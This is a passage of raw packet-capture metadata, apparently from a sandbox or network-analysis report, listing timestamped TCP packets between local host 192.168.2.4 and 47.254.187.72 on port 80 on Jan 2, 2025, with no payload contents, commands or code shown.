Jan 2, 2025 20:34:55.630012035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.630023003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.630037069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.630058050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.632332087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.632342100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.632359028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.632365942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.632369995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.632379055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.632391930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.632424116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.633913994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.633955002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.633961916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.633972883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.633982897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.633992910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.634016037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.635395050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.635413885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.635423899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.635441065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.635442019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.635449886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.635474920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.635509968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.639206886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.639219046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.639234066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.639245987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.639250040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.639251947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.639283895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.640480995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.640490055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.640516996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.706696033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.706715107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.706746101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.706768990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.036659956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.041589022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.525973082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.525993109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526004076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526034117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526032925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526045084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526052952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526061058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526063919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526067972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526076078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526083946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526097059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526103973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526108027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526118040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526130915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526134968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526139975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526148081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526150942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526160955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526170015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526180983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526190996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526191950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526206970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526212931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526216984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526226997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526232004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526237011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526247025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526256084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526256084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526267052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526277065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526283979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526287079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526307106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526309013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526319981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526329041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526330948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526343107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526348114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526352882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526362896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526374102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526382923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526384115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526395082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526405096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526415110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526422977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526439905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526443958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526463032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526478052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526489973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526499033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526509047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526518106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526529074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526535034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526537895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526549101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526557922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526567936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526571989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526578903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526587963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526593924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526603937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526612043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526614904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526624918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526634932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526635885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526644945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526654959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526655912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526664019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526683092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526684999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526695967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526700974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526720047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526721954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526734114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526742935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526752949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526753902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526763916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526772976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526773930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526782990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526793003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526803017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526810884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526813984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526823997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526832104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526834011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526844978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526851892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526855946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526875973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526879072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526890993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526891947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526900053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526911020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526911974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526918888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526930094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526940107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526940107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526948929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526966095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526971102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.526977062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526985884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.526995897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527007103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527014971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527014971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527015924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527026892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527033091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527036905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527046919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527055979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527056932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527066946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527076960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527080059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527086973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527097940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527100086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527107954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527120113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527134895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527138948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527146101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527156115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527167082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527169943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527175903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527187109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527196884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527204037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527204990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527215958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527228117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527235031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527235985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527244091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527246952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527256966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527266979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527267933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527276993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527285099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527304888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527323961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527328968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527333975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527343988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527347088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527354956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527365923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527373075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527375937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527384996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527395964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527400970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527405024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527406931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527416945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527417898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527426958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527436972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527446985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527447939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527457952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527468920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527476072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527478933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527488947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527491093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527498007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527508020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527513027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527524948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527534008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.527534962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527543068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.527573109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.631395102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.631412983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.631423950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.631434917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.631443024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.631454945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.631490946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.633044004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.633053064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.633068085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.633090973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.633105040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.633116007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.633126974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.633152008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.636476994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.636539936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.636562109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.636574030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.636590958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.636609077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.636624098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.638107061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.638125896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.638134956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.638170958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.638173103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.638181925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.638190031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.638214111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.638247967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.639904976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.639915943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.639926910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.639936924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.639950037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.639961958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.639992952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.643240929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.643250942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.643260002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.643270969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.643279076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.643291950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.643322945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.645062923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.645075083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.645087004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.645097017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.645100117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.645132065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.645170927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.648503065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.648523092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.648534060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.648544073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.648557901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.648587942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.650275946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.650288105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.650299072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.650310040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.650333881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.650373936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.651849985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.651861906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.651873112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.651882887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.651887894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.651918888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.655236006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.655246019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.655273914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.655278921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.655292988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.655303001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.655318022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.655338049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.655373096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.656955004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.656974077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.656991005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.657001019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.657001972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.657031059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.657058001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.660579920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.660598040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.660629988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.660650015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.660727978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.660762072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.660770893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.660794973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.660810947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.662190914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.662203074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.662214994 CET	80	49730	47.254.187.72	192.168.2.4
